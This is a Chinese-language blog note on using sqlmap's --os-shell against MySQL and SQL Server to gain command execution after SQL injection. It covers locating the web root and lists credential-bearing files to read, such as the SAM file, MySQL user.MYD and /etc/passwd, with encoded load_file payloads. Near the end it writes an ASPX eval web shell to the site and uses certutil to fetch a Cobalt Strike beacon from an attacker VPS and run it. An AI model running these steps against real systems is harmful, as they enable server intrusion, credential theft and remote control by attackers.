sqlmap关于os-shell小记
SqlMap –os-shell 利用
MySQL
前提条件
拥有dba权限
网站的绝对路径
高版本的mysql需要
show variables like '%secure_file_priv%'或者select@@secure;或者show global variables like '%secure%';的结果符合要求,secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。这个参数只能通过修改配置文件后重启mysql修改- 如果该变量为空,则变量无效,这时候最容易利用
- 如果变量为目录的绝对路径,则服务器会将导入和导出操作限制为仅适用于该目录中的文件
- 如果设置为NULL,则服务器禁用导入和导出操作。
当为php时,magic_quotes_gpc为off,php主动转义的功能关闭**
当执行 –os-shell时,这个时候sqlmap主要做了三件事情:
- 进行目标的一个基础信息的探测。
- 上传shell到目标web网站上(sqlmap会自动生成两个文件,一个用于命令执行,一个用于上传文件)
- 退出时删除shell。
寻找绝对路径
通过网站报错信息查看绝对路径
通过搜索引擎获取
1
2google语法:site:baidu.com warning
site:baidu.com "fatal error"配置文件获取路径
如果注入点有文件读取权限,就可以通过load_file函数读取配置文件,再从中寻找路径信息。
Sqlmap 下可以使用–sql-shell 获取一个sql命令执行窗口,使用load_file(‘文件名’)读取文件
也可以使用 –file-read=文件名 ,读取文件
sqlmap -u ‘url’ –batch –file-read=/etc/httpd/conf/httpd.conf
win 下常见的敏感文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf/usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件Linux 下常见的敏感文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件通过执行
select @@datadir;获取数据库数据保存的位置、select @@basedir;安装位置、select @@plugin_dirmysql plugin目录可能会有一些关键信息,然后对关键信息搜索,查找默认路径
执行–os-shell
成功后会在网站绝对路径下,生成两个文件,一个可以上传,一个可以执行命令。
SqlServer
必要条件
- 数据库支持外连
- 数据库权限为SA权限
Sqlserver –os-shell主要是利用xp_cmdshell扩展进行命令执行。
当执行–os-shell 时,这个时候sqlmap主要做了三件事情:
- 识别当前数据库类型,然后打印出来。
- 检测是否为数据库dba,也就是查看是否为sa权限。
- 检测是否开启了xp_cmdshell,如果没有开启sqlmap就会尝试开启。
寻找绝对路径
可以上传一个复杂文件名的文件,比如:l12asd3123_0sads7_08.jpg
或者在网站中找到一个复杂的文件名,觉得会是唯一的,通过命令查找
sqlmap –os-shell 下使用,以下任意一条命令
1 | for /r e:\ %i in (1*.php) do @echo %i *必加 |
查找文件
上一句话马或者连cs
写一句话木马
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["weshe11b"],"unsafe");%^> > d:\wwwroot\1azq.aspx
上线CS
使用 certutil.exe -urlcache -split -f http://vpsIP:port/beacon32.exe a32.exe
a32.exe 执行, 有时执行不成功饭是因为权限不够,可以下载到有执行权限的目录(假如c:/temp/ ,有权限,certutil.exe -urlcache -split -f http://vpsIP:port/beacon32.exe c:/temp/a32.exe
总结
在有拥有dba权限后,
- mysql拿shell的难点在于寻找绝对路径
- sqlserver在于xp_cmdshell 是否开启。











